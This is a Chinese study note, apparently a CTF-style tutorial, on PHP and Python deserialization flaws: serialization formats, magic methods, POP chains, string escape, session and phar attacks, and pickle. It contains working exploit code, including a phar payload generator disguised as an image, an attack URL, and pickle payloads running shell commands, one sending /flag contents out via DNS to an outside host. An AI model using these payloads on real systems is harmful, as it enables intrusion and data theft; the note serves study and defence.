什么是反序列化

​ 反序列化过程将不可信的数据(字节流)重新构建为内存中的对象时,如果程序对反序列化的内容、类型或过程缺乏严格控制,攻击者可以构造恶意数据来欺骗程序执行非预期的代码或操作,从而引发严重的安全风险。

序列化与反序列化的本质(基础)

  • 序列化: 将内存中的对象(包含数据及其状态、甚至可执行代码的引用)转换(编码)成一个可以存储(如文件)或传输(如网络)的字节流格式(如二进制、JSON、XML等)。
  • 反序列化: 将接收到的字节流数据重新解析、还原(解码)成内存中的活动对象,恢复其原有的数据、状态和结构。

漏洞来源

  • 过度信任: 程序在反序列化时,通常默认接收到的数据是合法的、由可信来源生成的、结构正确的,其按照序列化格式的规则去重建对象。
  • 魔术方法/钩子函数: 许多面向对象编程语言(如 Java, Python, PHP, .NET)在反序列化过程中会自动调用对象的特定方法。这些方法原本是为了方便开发者在对象重建时执行必要的初始化操作(如连接资源、设置状态)。
  • 攻击者的切入点: 攻击者可以精心构造一个恶意的序列化字节流,这个字节流:
    • 指定反序列化出攻击者选择的类(即使这个类在正常业务逻辑中根本不会被序列化/反序列化)。
    • 控制该类的属性值
    • 这个被恶意指定的类中包含的魔术方法(如 __wakeup(), __destruct())或可被这些方法调用的其他代码,包含了攻击者想要执行的恶意操作(eg:执行系统命令、写入文件、发起网络请求)。

利用过程

1、找到切入口

2、构造恶意负载

3、传入恶意负载来实现恶意操作

eg:

漏洞类 (Gadget): 攻击者寻找应用中或常用库中存在 __wakeup()__destruct() 方法的类,并且这些方法内部调用了其他“危险”方法(如文件操作、命令执行、数据库操作等),且这些方法的参数可以被对象的属性值控制

我们是利用这些魔术方法中的“危险”函数,通过控制类的属性值,将恶意参数传递给危险方法。

eg:

  • PHP: 构造一个类,其 __destruct() 方法调用了 system($this->cmd)。将 cmd 属性设为 "rm -rf /"
1
2
3
4
5
6
class Malicious {
public $cmd = "touch /tmp/hacked"; // 恶意命令
public function __destruct() {
system($this->cmd); // 触发点
}
}
  • 序列化数据: O:9:"Malicious":1:{s:3:"cmd";s:18:"touch /tmp/hacked";}

序列化:

序列化将对象的状态信息(属性)转化为可以存储或传输的形式的过程

对象–>字符串(可存储/传输)

serialize():

  • 空字符:null ==> N;

  • 整型: 666 ==> i:666;

  • 浮点型:66.6 ==> d:66.6;

  • Boolean型:true ==> b:1;

​ false ==> b:0;

  • 字符串:’benben’ ==> s:6(长度):”benben”; ——有长度–>字符串中可能有”出现,确定哪个是闭合的

  • 数组:array(‘benben’,’dazhuang’,’laoliu’);

​ a(array):3(参数数量):{i:0(编号);s:6:”benben”;i:1;s:8:”dazhuang”;i:2;s:6:”laoliu”;}

  • 对象:
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(FILE);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

​ O:4:”test”:1:{s:3:”pub”;s:6:”benben”;}

​ object:类名长度:类名:属性数量:{s:属性变量名字长度:属性变量名字;s:值的长度:变量值;}

(可以类中类——把一个对象赋值给一个成员属性)

在PHP序列化中,r:1表示引用第一个对象(通常序列化中的第一个对象编号为1)

O:4:”Show”:2:{s:6:”source”;r:1;s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:8:”Modifier”:1:{s:13:”Modifiervar”;s:8:”flag.php”;}}}

这里source是Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Modifier {
private $var='flag.php';
}
class Show{
public $source;
public $str;

}

class Test{
public $p;

}

$a = new Test();
$a->p = new Modifier();
$b = new Show();
$b->source = $b;//而不是$b->$source
$b->str = $a;//同上
echo serialize($b);

加上修饰符后

即private、protected,public

private私有属性序列化时,在变量名前加“%00类名%00”——url的%00——空,对应长度也变化(%00也占一个长度)

protected “%00*%00”

public——无变化

反序列化

  1. 反序列化之后的内容为一个对象;
  2. 反序列化生成的对象里的值,由反序列化里的值提供(与原有类预定义的值无关);
  3. 反序列化不触发类的成员方法(除了魔术方法);要调用方法后才能触发;

var_dump();——以人类可读的方式,详细展示一个或多个变量的类型和值。

魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

作用:

漏洞成因:反序列化过程中,unserialize()接收的值(字符串)可控;

​ 通过更改这个值(字符串),得到所需要的代码;

​ 通过调用方法,触发代码执行

  • __construct():构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;

  • __destruct():析构函数

  • __sleep():在进行serialize()函数前会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

​ ——功能:清除对象,并返回一个包含对象中所有应被序列化的变量名称(成员属 性)的数组。如果未返回任何内容,则NULL被序列化

  • __wakeup():unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,返回void

​ 但是序列化字符串中表示对象属性个数的值大于真实属性个数时,会跳过 (PHP5<5.6.25;PHP7<7.0.10)——PHP 允许属性数量不匹配的反序列化

!image-20250529214750168

  • __wakup()在反序列化之前;__destruct()在反序列化之后

  • __toString():表达方式错误导致魔术方法触发(把对象当成字符串调用)

  • __invoke():格式表达错误导致触发(把对象当成函数调用)$name($arg) //而$name是对象,这个格式是函数,所以会触发这个魔术方法

  • __call():调用一个不存在的方法时触发,回显方法名和参数

  • __callStatic():静态调用(::)或调用成员常量时使用的方法不存在,回显同上

  • __get():调用的成员属性不存在,回显这个不存在的成员属性名称

  • __isset():对不可访问属性或不存在的属性使用isset()empty()时,__isset()会被调用,返回不存在的成员属性名称

isset():检查变量是否已设置且不为NULL->true,否则->false

empty():检查变量是否为空值,true:

''(空字符串);0(整数 0);0.0(浮点 0);'0'(字符串 0);null;false;[](空数组)

  • __unset():对不可访问属性或不存在的属性使用unset()时触发,同上

​ unset():用来销毁变量(可多个),让它不再存在于当前作用域中

  • __clone():当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

pop链:利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

触发链的开始一般是__wakeup()这类,unserialize()调用前自动触发(相对自动性的触发)

字符串逃逸

序列化字符中的属性数量,变量长度,要分别对应;

有趣的:–>由于序列化字符串,多了一个属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
public $v1 = "a";
public $v2 = "b";
}
echo serialize(new A());//O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:1:"b";}
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:1:"b";}';
//v2-->v3
var_dump(unserialize($b));
// class A#1 (3) {
// public $v1 =>
// string(1) "a"
// public $v2 =>
// string(1) "b"
// public $v3 =>
// string(1) "b"
// }
?>

在成员属性名称长度、内容长度一致的情况下,

反序列化以;}结束,后面的字符串不影响正常的反序列化 ==》 可用于逃逸减少

难点:(要改原本的字符串,来改变序列化后的长度值,再替换,–>使得恰好来构造成功)

属性逃逸:一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或变少的时候可能存在反序列化属性逃逸

减少:用str_replace()类似的,减少值的内容(eg:换成空””),但长度没有改变,所以会“吃”后面的字符(值中可以有双引号)——使得字符串中的值变成功能性字符(s:…,类中的属性)——减少一个不存在的属性及其对应的值

增多:str_replace(),换成单个字符串的量为更多的值,再加上要多出来的内容(值),且可以在最后加上;}使得后面字符无效

!image-20250529214750168

三换四==>差一个:要多出来的内容+};==>为对应要写的php个数

无论增多还是减少,最后都是要构造成,长度数量和值最终要对应——可以增加一个不存在的属性及其对应的值(以满足题目要求)

引用

$a->enter = &$a->secret;(目的是为了使得俩个一直相等)

session

当session_start()被调用或者session.auto_start为1时,

PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)

存取数据的格式有多种,常用三种:

方法 格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

漏洞成因:save和read的方法不一样——要两个页面

phar反序列化

(源代码中不使用unserialize()函数)

什么是phar

AI

  • 类似于 Java 的 JAR 文件,Phar 是一种将多个 PHP 文件、资源、元数据打包成单个归档文件的格式。
  • 其文件结构包含:
    • Stub: 一小段 PHP 代码(通常以 <?php __HALT_COMPILER(); ?> 结尾),使得 Phar 文件可以直接像 PHP 脚本一样执行(如果配置允许)。
    • Manifest: 包含打包文件的元数据(文件名、大小、时间戳、权限等)。关键点在于,这个 Manifest 中的元数据是以 PHP 序列化格式存储的!
    • File Contents: 实际打包的文件内容。
    • Signature: 可选的哈希签名,用于验证文件完整性。

同时,可看PHP: 简介 - Manual介绍

漏洞触发点:

  • 漏洞的核心在于 Phar 文件在访问时会被解析。当你使用支持 phar:// 伪协议的文件系统函数(如 file_exists(), fopen(), file_get_contents(), is_dir(), is_file(), stat(), unlink(), copy(), md5_file(), filemtime() 等)去操作一个 Phar 文件(文件扩展名不一定要 .phar,比如 .jpg, .png, .txt也行,只要内容符合 Phar 格式):

    • PHP 会读取并解析 Phar 文件的 Manifest 部分。

    • 为了读取 Manifest 中的元数据(文件名、大小、权限等),PHP 需要将存储在那里的**序列化字符串进行反序列化**。

      ——隐含地使用了unserialize()函数

    即,前提条件:服务器调用的文件系统函数要支持phar://伪协议

  • 关键漏洞: 如果攻击者能够构造一个恶意的 Phar 文件(其中 Manifest 的序列化数据包含一个精心构造的、指向存在可利用魔术方法(如 __destruct(), __wakeup())的类的对象),并将其上传到服务器或让服务器通过 phar:// 协议访问到它,那么当上述任何文件系统函数操作这个 Phar 文件路径时,恶意对象就会被反序列化,同时执行代码。

生成phar文件

生成 Phar 文件需要满足特定条件,以下是详细步骤和注意事项(仅限安全研究和授权测试使用):


生成 Phar 文件的条件

  1. PHP 环境要求
    • PHP 版本 ≤ 8.0(PHP 8.0+ 默认禁用 phar 写操作)
    • php.ini 中设置 phar.readonly = Off
  2. 文件系统权限:脚本需有写入权限

手动生成步骤(命令行)

1. 创建恶意类(用于反序列化利用)
1
2
3
4
5
6
7
8
9
// malicious_class.php
<?php
class Exploit {
public $cmd = 'echo "Hacked!" > /var/www/html/poc.txt';

public function __destruct() {
system($this->cmd); // 反序列化时执行系统命令
}
}
2. 创建 Phar 生成脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// generate_phar.php
<?php
// 包含恶意类定义(重要!)
include('malicious_class.php');

// 1. 创建Phar对象(后缀必须为.phar)
$phar = new Phar('exploit.phar');

// 2. 开始缓冲写入
$phar->startBuffering();

// 3. 添加虚拟文件内容(至少需要一个文件)
$phar->addFromString('test.txt', 'dummy');

// 4. 设置恶意元数据(核心步骤)
$object = new Exploit();
$phar->setMetadata($object); // 注入恶意对象

// 5. 设置文件头(固定格式)
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// 6. 结束写入
$phar->stopBuffering();

echo "Phar文件生成成功!";
?>
3. 执行生成命令
1
2
# 临时禁用phar只读模式
php -d phar.readonly=0 generate_phar.php

生成 exploit.phar 文件


关键技巧

  1. 伪装文件类型
    1
    mv exploit.phar exploit.jpg  # 重命名为图片后缀
  2. 验证 Phar 结构
    1
    php -r "var_dump(new Phar('exploit.jpg'));"

使用场景示例(测试)

假设目标存在漏洞代码:

1
2
3
4
// vulnerable.php
<?php
file_exists($_GET['file']); // 触发phar反序列化
?>

攻击请求:

1
http://target.com/vulnerable.php?file=phar:///uploads/exploit.jpg

结果:执行 $cmd 中的命令(创建 /var/www/html/poc.txt


防御措施(开发者视角)

  1. 完全禁用 Phar(推荐):
    1
    2
    3
    ; php.ini
    phar.readonly = On
    disable_functions = Phar::__construct
  2. 文件内容校验
    1
    2
    3
    4
    5
    // 检查真实文件类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    if (finfo_file($finfo, $file) !== 'image/jpeg') {
    die("Invalid file type");
    }
  3. 禁用危险协议
    1
    2
    allow_url_fopen = Off
    allow_url_include = Off

pickle反序列化

python

基础介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pickle_

# dumps()/loads()字符串写入/读取
data = {"name": "Alice", "age": 30, "admin": False}
serialized = pickle.dumps(data) # 转换成字节流
print(f"{serialized}")

deserialized = pickle.loads(serialized)
print(f"{deserialized}")


# dump()和load()——文件写入/读取
with open("data.pkl", "wb") as f:
pickle.dump(data, f)
# 可以一次性写入多个对象
pickle.dump([1, 2, 3], f)
pickle.dump({"test": "value"}, f)

with open("data.pkl", "rb") as f:
# 按写入顺序读取对象
loaded_data1 = pickle.load(f) # 读取第一个对象
loaded_data2 = pickle.load(f) # 读取第二个对象
loaded_data3 = pickle.load(f) # 读取第三个对象

print(f"1: {loaded_data1}")
print(f"2: {loaded_data2}")
print(f"3: {loaded_data3}")

实现类的序列化和反序列化时,不会记录类的属性,要__reduce__来控制对象的序列化和反序列化过程

1
2
def __reduce__(self):
return (callable, args[, state[, listitems[, dictitems]]])

——__reduce__()返回的要是个元组,而且args的内容也要是元组

单个元素的元组需要逗号来区分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
callable: 反序列化时调用的可调用对象(函数、类等)
args:传递给callable的参数元组——要元组,无参时,传()
state(可选):对象的额外状态
listitems(可选):列表项(用于列表子类)
dictitems(可选):字典项(用于字典子类)

eg:
import pickle
class evl:
def __init__(self, value):
self.value = value
def __reduce__(self):
return (self.__class__, (self.value,))#单个元素的元组需要逗号来区分

obj = evl(11)
data = pickle.dumps(obj)
new_obj = pickle.loads(data)
print(new_obj.value)#输出值

一些payload:

__import__ 是 Python 的内建函数,可以在运行时动态导入模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#
class Exploit:
def __reduce__(self):
cmd = "nslookup $(cat /flag | tr -cd 'a-zA-Z0-9_{}-').73717469-82f0-4763-ac4b-08005723dd8d.dnshook.site"
return (__import__('subprocess').getoutput, (cmd,))


#
class Exploit:
def __reduce__(self):
# 反序列化时执行系统命令
return (os.system, ('whoami',))
# 或使用 subprocess,但要有或者调用
# return (subprocess.Popen, (('whoami',),))

#
class PythonEval:
def __reduce__(self):
# 执行 Python 代码
return (eval, ("__import__('os').system('whoami')",))
# 或使用 exec
# return (exec, ("import os; os.system('whoami')",))


#
class BypassExploit:
def __reduce__(self):
# 即使限制了 eval,还可以这样
return (
getattr,
(
__builtins__,
'__import__'
),
(('os.system',) + ('id',))[1:]
)

更深入的opcode参考:

深扒Pickle反序列化 - dynasty_chenzi - 博客园